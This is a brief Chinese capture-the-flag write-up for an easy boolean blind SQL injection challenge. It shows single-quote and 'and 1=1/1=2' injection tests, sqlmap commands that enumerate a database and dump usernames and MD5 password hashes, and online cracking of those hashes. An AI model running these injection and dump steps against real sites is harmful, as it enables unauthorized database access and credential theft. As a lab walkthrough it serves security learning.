WEB安全简单题解题思路
#SQL注入漏洞测试(布尔盲注)
需要用到的工具
kali linux sqlmap
sqlmap使用方法及其命令
##下面开始实际操作
启动环境后看到上述页面首先我们要判断是否能进行sql注入
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1’
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
通常 Sql 注入漏洞分为 2 种类型:
数字型
字符型
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
我们发现下面界面存在注入点
启动kali使用sqlmap
使用sqlmap -u 注入点url --current-db **
获取数据库名stormgroup
运用命令sqlmap -u 注入点url -D 获取到的数据名 --tables **
获取到表member和notice
之后运用命令sqlmap -u 注入点url -D 获取到的数据库名 -T 获取到的表名 --columns
获取到的列名分别是 name password status
运用命令sqlmap -u 注入点url -D 获取到的数据库名 -T 获取到的表名 -C 要获取值指定列 --dump
获取用户名和密码
密码为MD5加密可以直接使用Kali跑出来但是耗费时间过长这里我们使用网上的MD5在线解密工具进行解密
分别得到以上两个结果经检验密码2可以登录
最后得到密钥